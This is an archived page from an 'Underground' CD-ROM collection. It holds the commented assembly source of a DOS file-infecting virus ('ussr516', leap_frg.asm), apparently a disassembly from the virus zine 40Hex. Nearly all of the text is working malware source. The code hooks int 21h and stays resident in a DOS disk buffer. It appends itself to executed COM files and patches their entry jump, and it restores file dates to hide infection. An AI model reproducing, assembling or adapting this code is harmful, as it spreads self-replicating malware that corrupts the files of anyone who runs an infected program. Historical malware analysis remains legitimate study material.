Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / l / leap_frg.asm next >

Wrap

Assembly Source File | 1998-01-14 | 13.7 KB | 279 lines

ussr516 segment byte public assume cs:ussr516, ds:ussr516 org 100h ; Disassembled by Dark Angel of PHALCON/SKISM ; for 40Hex Number 7 Volume 2 Issue 3 stub: db 0e9h, 0, 0 db 0e9h, 1, 0, 0 ; This is where the virus really begins start: push ax call beginvir orig4 db 0cdh, 20h, 0, 0 int30store db 0, 0, 0, 0 ; Actually it's int 21h ; entry point int21store db 0, 0, 0, 0 beginvir: pop bp ; BP -> orig4 mov si,bp mov di,103h add di,[di-2] ; DI -> orig4 movsw ; restore original movsw ; 4 bytes of program xor si,si mov ds,si les di,dword ptr ds:[21h*4] mov [bp+8],di ; int21store mov [bp+0Ah],es lds di,dword ptr ds:[30h*4+1] ; Bug???? findmarker: inc di cmp word ptr [di-2],0E18Ah ; Find marker bytes jne findmarker ; to the entry point mov [bp+4],di ; and move to mov [bp+6],ds ; int30store mov ax,5252h ; Get list of lists int 21h ; and also ID check add bx,12h ; Already installed? jz quitvir ; then exit push bx mov ah,30h ; Get DOS version int 21h pop bx ; bx = 12, ptr to 1st ; disk buffer cmp al,3 je handlebuffer ; if DOS 3 ja handleDBHCH ; if > DOS 3 inc bx ; DOS 2.X, offset is 13 handlebuffer: push ds push bx lds bx,dword ptr [bx] ; Get seg:off of buffer inc si pop di pop es ; ES:DI->seg:off buff mov ax,[bx] ; ptr to next buffer cmp ax,0FFFFh ; least recently used? jne handlebuffer ; if not, go find it cmp si,3 jbe quitvir stosw stosw jmp short movetobuffer handleDBHCH: ; Disk Buffer Hash Chain Head array lds si,dword ptr [bx] ; ptr to disk buffer lodsw ; info lodsw ; seg of disk buffer ; hash chain head array inc ax ; second entry mov ds,ax xor bx,bx mov si,bx lodsw ; EMS page, -1 if not ; in EMS xchg ax,di ; save in di lodsw ; ptr to least recently ; used buffer mov [di+2],ax ; change disk buffer ; backward offset to ; least recently used xchg ax,di ; restore EMS page mov [di],ax ; set to least recently movetobuffer: ; used mov di,bx push ds pop es ; ES:DI -> disk buffer push cs pop ds mov cx,108h lea si,[bp-4] ; Copy from start rep movsw mov ds,cx ; DS -> interrupt table mov word ptr ds:[4*21h],0BCh ; New interrupt handler mov word ptr ds:[4*21h+2],es ; at int21 quitvir: push cs ; CS = DS = ES pop es push es pop ds pop ax mov bx,ax mov si, 100h ; set up stack for push si ; the return to the retn ; original program int24: mov al,3 ; Ignore all errors iret tickstore db 3 ; Why??? buffer db 3, 0, 9, 0 int21: pushf cli ; CP/M style call entry call dword ptr cs:[int30store-start] retn ; point of int 21h int21DSDX: ; For int 21h calls push ds ; with lds dx,dword ptr [bp+2] ; DS:DX -> filename call int21 pop ds retn cmp ax,4B00h ; Execute je Execute cmp ax,5252h ; ID check je CheckID cmp ah,30h ; DOS Version je DosVersion callorig21: ; Do other calls jmp dword ptr cs:[int21store-start] DosVersion: ; Why????? ; DOS Version dec byte ptr cs:[tickstore-start] jnz callorig21 ; Continue if not 0 push es xor ax,ax push ax mov es,ax mov al,es:[46Ch] ; 40h:6Ch = Timer ticks ; since midnight and al,7 ; MOD 15 inc ax inc ax mov cs:[tickstore-start],al ; # 2-17 pop ax pop es iret CheckID: ; ID Check mov bx,0FFEEh ; FFEEh = -12h iret Execute: ; Execute push ax ; Save registers push cx push es push bx push ds ; DS:DX -> filename push dx ; save it on stack push bp mov bp,sp ; Set up stack frame sub sp,0Ah ; Temporary variables ; [bp-A] = attributes ; [bp-8] = int 24 off ; [bp-6] = int 24 seg ; [bp-4] = file time ; [bp-2] = file date sti push cs pop ds mov ax,3301h ; Turn off ^C check xor dl,dl ; (never turn it back call int21 ; on. Bug???) mov ax,3524h ; Get int 24h call int21 ; (Critical error) mov [bp-8],bx mov [bp-6],es mov dx,int24-start mov ax,2524h ; Set to new one call int21 mov ax,4300h ; Get attributes call int21DSDX jnc continue doneinfect: mov ax,2524h ; Restore crit error lds dx,dword ptr [bp-8] ; handler call int21 cli mov sp,bp pop bp pop dx pop ds pop bx pop es pop cx pop ax jmp short callorig21 ; Call orig handler continue: mov [bp-0Ah],cx ; Save attributes test cl,1 ; Check if r/o???? jz noclearattr xor cx,cx mov ax,4301h ; Clear attributes call int21DSDX ; Filename in DS:DX jc doneinfect ; Quit on error noclearattr: mov ax,3D02h ; Open read/write call int21DSDX ; Filename in DS:DX jc doneinfect ; Exit if error mov bx,ax mov ax,5700h ; Save time/date call int21 mov [bp-4],cx mov [bp-2],dx mov dx,buffer-start mov cx,4 mov ah,3Fh ; Read 4 bytes to call int21 ; buffer jc quitinf cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h jne quitinf ; Otherwise, quit mov dx,word ptr ds:[buffer+1-start]; dx = jmploc dec dx xor cx,cx mov ax,4201h ; go there call int21 mov ds:[buffer-start],ax ; new location offset mov dx,orig4-start mov cx,4 mov ah,3Fh ; Read 4 bytes there call int21 mov dx,ds:[orig4-start] cmp dl,0E9h ; 0E9h means we might jne infect ; already be there mov ax,ds:[orig4+2-start] ; continue checking add al,dh ; to see if we really sub al,ah ; are there. jz quitinf infect: xor cx,cx mov dx,cx mov ax,4202h ; Go to EOF call int21 mov ds:[buffer+2-start],ax ; save filesize mov cx,204h mov ah,40h ; Write virus call int21 jc quitinf ; Exit if error sub cx,ax jnz quitinf mov dx,ds:[buffer-start] mov ax,ds:[buffer+2-start] sub ax,dx sub ax,3 ; AX->jmp offset mov word ptr ds:[buffer+1-start],ax; Set up buffer mov byte ptr ds:[buffer-start],0E9h; code the jmp add al,ah mov byte ptr ds:[buffer+3-start],al mov ax,4200h ; Rewind to jmploc call int21 mov dx, buffer-start mov cx,4 ; Write in the jmp mov ah,40h call int21 quitinf: mov cx,[bp-4] mov dx,[bp-2] mov ax,5701h ; Restore date/time call int21 mov ah,3Eh ; Close file call int21 mov cx,[bp-0Ah] ; Restore attributes mov ax,4301h call int21DSDX jmp doneinfect ; Return ussr516 ends end stub